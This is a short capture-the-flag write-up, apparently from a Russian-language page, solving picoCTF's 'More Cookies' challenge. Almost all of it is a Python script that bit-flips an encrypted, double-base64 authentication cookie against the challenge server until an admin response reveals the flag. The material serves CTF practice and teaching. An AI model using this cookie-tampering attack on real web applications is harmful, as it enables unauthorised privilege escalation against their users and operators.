More Cookies


Код решения:

import requests
import base64
from tqdm import *


url = "http://mercury.picoctf.net:21553/"
ses = requests.Session()
ses.get(url)
enc_cookie = ses.cookies["auth_name"]
dec_cookie = base64.b64decode(base64.b64decode(enc_cookie))


def main():


        for pos in tqdm(range(0, len(dec_cookie))):
                for bit in range(0,8):

                        bitflip_guess = (
                dec_cookie[0:pos]
                + ((dec_cookie[pos] ^ (1 << bit)).to_bytes(1,"big"))
                + dec_cookie[pos + 1 :]
        )

                        guess = base64.b64encode(base64.b64encode(bitflip_guess)).decode()

                        r = requests.get(url, cookies = {"auth_name": guess})
                        if "picoCTF{" in r.text:
                                print("\033[H\033[J", end="")
                                print(f'\nAdmin bit found in byte {pos} in bit {bit}.')
                                flag = r.text.split("<code>")[1].split("</code>")[0]
                                print(f'\nFlag: {flag}')
                                return
if __name__ == "__main__":

        main()

Видео выполнения:


Загрузки

Download files archive